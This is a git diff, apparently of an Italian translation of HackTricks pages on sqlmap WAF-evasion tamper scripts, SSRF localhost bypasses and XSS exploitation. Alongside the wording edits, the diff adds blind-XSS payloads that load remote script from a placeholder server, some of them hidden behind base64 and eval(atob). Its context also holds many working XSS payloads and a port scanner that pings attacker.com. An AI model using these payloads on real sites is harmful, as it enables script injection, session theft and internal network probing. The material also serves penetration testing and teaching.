| bluecoat.py | Sostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
|
||||
| chardoubleencode.py | Codifica due volte in url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| chardoubleencode.py | Codifica doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| commalesslimit.py | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | Codifica in url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| charunicodeencode.py | Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022" |
|
||||
| charunicodeescape.py | Codifica in unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022" |
|
||||
| charencode.py | Codifica url tutti i caratteri in un dato payload (non elabora quelli già codificati) |
|
||||
| charunicodeencode.py | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "%u0022" |
|
||||
| charunicodeescape.py | Codifica unicode-url i caratteri non codificati in un dato payload (non elabora quelli già codificati). "\u0022" |
|
||||
| equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE' |
|
||||
| escapequotes.py | Escape con barra delle virgolette (' e ") |
|
||||
| greatest.py | Sostituisce l'operatore maggiore di ('>') con il suo corrispondente 'GREATEST' |
|
||||
| greatest.py | Sostituisce l'operatore maggiore di ('>') con il corrispondente 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
|
||||
| ifnull2ifisnull.py | Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Racchiude la query completa con un commento versionato |
|
||||
@ -167,25 +171,25 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
|
||||
| randomcase.py | Sostituisce ogni carattere parola chiave con un valore di caso casuale |
|
||||
| randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
|
||||
| securesphere.py | Aggiunge una stringa appositamente creata |
|
||||
| sp_password.py | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log del DBMS |
|
||||
| sp_password.py | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS |
|
||||
| space2comment.py | Sostituisce il carattere di spazio (' ') con commenti |
|
||||
| space2dash.py | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2hash.py | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2morehash.py | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2mssqlblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2mssqlhash.py | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una nuova riga ('\n') |
|
||||
| space2mysqlblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2mysqldash.py | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n') |
|
||||
| space2hash.py | Sostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2morehash.py | Sostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||
| space2mssqlblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2mssqlhash.py | Sostituisce il carattere di spazio (' ') con un carattere di cancelletto ('#') seguito da una nuova riga ('\n') |
|
||||
| space2mysqlblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2mysqldash.py | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n') |
|
||||
| space2plus.py | Sostituisce il carattere di spazio (' ') con un più ('+') |
|
||||
| space2randomblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| space2randomblank.py | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||
| symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e |
|
||||
| unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
|
||||
| unmagicquotes.py | Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
|
||||
| uppercase.py | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT' |
|
||||
| uppercase.py | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT' |
|
||||
| varnish.py | Aggiunge un'intestazione HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Racchiude ogni parola chiave non funzione con un commento MySQL versionato |
|
||||
| versionedmorekeywords.py | Racchiude ogni parola chiave con un commento MySQL versionato |
|
||||
| xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
|
||||
| xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -5,6 +5,7 @@
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
0 # Yes, just 0 is localhost in Linuc
|
||||
http://127.0.0.1:80
|
||||
http://127.0.0.1:443
|
||||
http://127.0.0.1:22
|
||||
@ -77,7 +78,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
.png>)
|
||||
|
||||
L'estensione **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypass di formattazione IP.
|
||||
L'**estensione Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypass di formattazione IP.
|
||||
|
||||
### Parser di Dominio
|
||||
```bash
|
||||
@ -198,7 +199,7 @@ Il _backslash-trick_ sfrutta una differenza tra il [WHATWG URL Standard](https:/
|
||||
|
||||
### Parentesi quadra sinistra
|
||||
|
||||
Il carattere “parentesi quadra sinistra” `[` nel segmento userinfo può causare a UriComponentsBuilder di Spring di restituire un valore di nome host che differisce dai browser: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
Il carattere “parentesi quadra sinistra” `[` nel segmento userinfo può causare a UriComponentsBuilder di Spring di restituire un valore di hostname che differisce da quello dei browser: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Altre Confusioni
|
||||
|
||||
|
@ -43,11 +43,11 @@ Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML grezzo
|
||||
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Se il tuo input è **riflesso sulla pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
@ -65,11 +65,11 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### All'interno del codice JavaScript
|
||||
### Inside JavaScript code
|
||||
|
||||
In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
|
||||
|
||||
- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `</script>` è all'interno del codice HTML.
|
||||
- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
|
||||
- Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
||||
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
||||
Alcuni **esempi**:
|
||||
|
||||
{{#ref}}
|
||||
@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Iniettare all'interno di HTML raw
|
||||
|
||||
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi sfruttare `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*o \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
@ -226,7 +226,7 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Bypass di lunghezza (piccoli XSS)
|
||||
### Bypass della lunghezza (piccoli XSS)
|
||||
|
||||
> [!NOTE] > **Altri piccoli XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
@ -239,7 +239,7 @@ Per controllare in quali caratteri sono decomposti controlla [qui](https://www.c
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
Se per sfruttare la vulnerabilità hai bisogno che l'**utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
|
||||
### Impossibile - Dangling Markup
|
||||
|
||||
@ -247,9 +247,9 @@ Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire
|
||||
|
||||
## Iniettare all'interno del tag HTML
|
||||
|
||||
### All'interno del tag/uscire dal valore dell'attributo
|
||||
### All'interno del tag/escaping dal valore dell'attributo
|
||||
|
||||
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](#injecting-inside-raw-html) per eseguire codice JS.\
|
||||
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è di **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](#injecting-inside-raw-html) per eseguire codice JS.\
|
||||
Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
@ -351,7 +351,7 @@ _**In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode de
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione.**
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -468,7 +468,7 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
|
||||
|
||||
## Iniezione all'interno del codice JavaScript
|
||||
|
||||
In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
|
||||
### Escape del tag \<script>
|
||||
|
||||
@ -476,7 +476,7 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **il parsing HTML viene eseguito prima dal browser**, il che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo successivamente.
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene effettuata solo successivamente.
|
||||
|
||||
### All'interno del codice JS
|
||||
|
||||
@ -488,8 +488,8 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è conosciuto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è conosciuto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Questo può essere **abusato** utilizzando:
|
||||
```javascript
|
||||
@ -740,20 +740,20 @@ top[8680439..toString(30)](1)
|
||||
## **Vulnerabilità DOM**
|
||||
|
||||
C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
|
||||
**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
|
||||
**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Lì troverai una dettagliata **spiegazione di cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\
|
||||
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione sugli [**attacchi DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione sugli [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Aggiornamento Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:
|
||||
Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco di cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -773,7 +773,7 @@ Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi coo
|
||||
|
||||
## Altri Bypass
|
||||
|
||||
### Unicode normalizzato
|
||||
### Unicode Normalizzato
|
||||
|
||||
Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode** nel server (o nel lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Trova un esempio qui**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
La risposta è:
|
||||
|
||||
- **module** (predefinito, nulla da spiegare)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un **`.wbn`** file.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -942,19 +942,19 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Special Replacement Patterns
|
||||
### Modelli di Sostituzione Speciali
|
||||
|
||||
Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
### Cache di Chrome a XSS
|
||||
|
||||
{{#ref}}
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### XS Jails Escape
|
||||
### Escape da XS Jails
|
||||
|
||||
Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
|
||||
```javascript
|
||||
@ -987,7 +987,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
|
||||
Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
|
||||
|
||||
- Utilizzando import()
|
||||
```javascript
|
||||
@ -996,7 +996,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accessing `require` indirectly
|
||||
|
||||
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono avvolti da Node.js all'interno di una funzione, in questo modo:
|
||||
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1346,7 +1346,7 @@ q.shift()()
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Scanner di porte (websockets)
|
||||
### Port Scanner (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
@ -1432,7 +1432,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads XSS ciechi
|
||||
### Payload XSS ciechi
|
||||
|
||||
Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1473,8 +1473,33 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - Accesso ai Contenuti Nascosti
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
@ -1516,7 +1541,7 @@ Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** t
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\
|
||||
Maggiore informazione su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Ulteriori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in PDF creati dinamicamente
|
||||
|
||||
@ -1601,7 +1626,7 @@ id="foo"/>
|
||||
```
|
||||
Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Suggerimenti JS vari e informazioni rilevanti
|
||||
## Altri trucchi JS e informazioni rilevanti
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
@ -1614,5 +1639,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user